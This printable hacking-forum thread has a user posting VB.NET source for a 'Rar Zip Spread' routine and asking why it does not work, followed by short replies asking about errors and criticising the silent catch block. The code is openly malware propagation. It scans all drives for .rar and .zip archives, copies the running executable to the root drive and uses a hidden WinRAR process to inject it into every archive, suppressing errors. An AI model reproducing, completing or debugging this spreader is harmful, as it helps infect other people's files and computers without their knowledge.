Hack Forums
[.NET] Rar Zip Spread doesnt work for me - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] Rar Zip Spread doesnt work for me (/showthread.php?tid=5506494)



Rar Zip Spread doesnt work for me - leonidascapruco - Dec 27, 2016

It's copied of the other post about .rar .zip spread.
Code of the main program:
Code
Imports System
Imports System.Diagnostics
Imports System.IO
Imports System.Runtime.InteropServices
Imports System.Text

Module Program
    Public Sub Main()
    
    If Not File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)​ & "\temp48.txt") Then
        Try
            Rar.Spread("RunFirst.exe")
        Catch
        End Try
    End If
    End Sub
End Module

Code of the class .rar:
Code
Imports System
Imports System.Diagnostics
Imports System.IO
Imports System.Runtime.InteropServices
Imports System.Text

Public Class Rar
    <DllImport("kernel32.dll", CharSet := CharSet.Auto)> _
    Public Shared Function GetShortPathName(<MarshalAs(UnmanagedType.LPTStr)> path As String, <MarshalAs(UnmanagedType.LPTStr)> shortPath As StringBuilder, shortPathLength As Integer) As Integer
    End Function
    Shared _rarPath As String
    Shared _copiedExeName As String
    Private Shared Sub Search(pathName As String)
  Dim files As String()
  files = Directory.GetFiles(pathName)
  For Each file As String In files
    If file.Contains(".rar") Then
    RarStart(file)
    End If
    If file.Contains(".zip") Then
    RarStart(file)
    End If
  Next

  Dim subdirectorys As String() = Directory.GetDirectories(pathName)
  For Each subdirectory As String In subdirectorys
    Search(subdirectory)
  Next
    End Sub

    Public Shared Sub Spread(myExeName As String)
  _copiedExeName = myExeName
  Dim drives As String() = Environment.GetLogicalDrives()
  For Each strDrive As String In drives
    Search(strDrive)
  Next
  File.Create(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\temp48.txt")
    End Sub

    Public Shared Sub RarStart(archiveToInject As String)
  Dim sysFolder As String = Environment.GetFolderPath(Environment.SpecialFolder.System)
  Dim rootdrive As String = sysFolder.Replace(sysFolder.Substring(sysFolder.IndexOf("\")), [String].Empty) & "\"

  _rarPath = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\WinRAR\WinRAR.exe"
  If File.Exists(_rarPath) Then
    If Not File.Exists(Path.Combine(rootdrive, _copiedExeName)) Then
    'copy our exe to C:\ (or other root drive)
    File.Copy(Process.GetCurrentProcess().MainModule.FileName, Path.Combine(rootdrive, _copiedExeName))
    End If
    'get the short path of our exe
    Dim getshortExePath = New StringBuilder(255)
    GetShortPathName(Path.Combine(rootdrive, _copiedExeName), getshortExePath, getshortExePath.Capacity)
    Dim evilpath As String = getshortExePath.ToString()

    'get the short path name of the archive to inject
    Dim shortArchiveDirectory = New StringBuilder(255)
    GetShortPathName(archiveToInject, shortArchiveDirectory, shortArchiveDirectory.Capacity)

    Try
    Dim rarProcess As New ProcessStartInfo()
    Dim theInfo As String = " a " & Convert.ToString(shortArchiveDirectory) & " " & evilpath
    rarProcess.FileName = _rarPath
    rarProcess.Arguments = theInfo
    rarProcess.WindowStyle = ProcessWindowStyle.Hidden

    Process.Start(rarProcess)
    'silent error
    Catch

    End Try
  End If

    End Sub
End Class


Not works ;( 😭


* - Glyco1 - Dec 27, 2016

Not works is dubious at best. Do you get any kind of error?


* - Malum™ - Dec 27, 2016

Before I take a look at that scrambled code. Lol. What specifically doesn't work? Errors? Warnings? Bugs?


* - ubbelol - Dec 28, 2016

You know when you're trying to debug code or you're having issues with it etc, maybe don't do stuff like:

Code
'silent error
    Catch

    End Try

......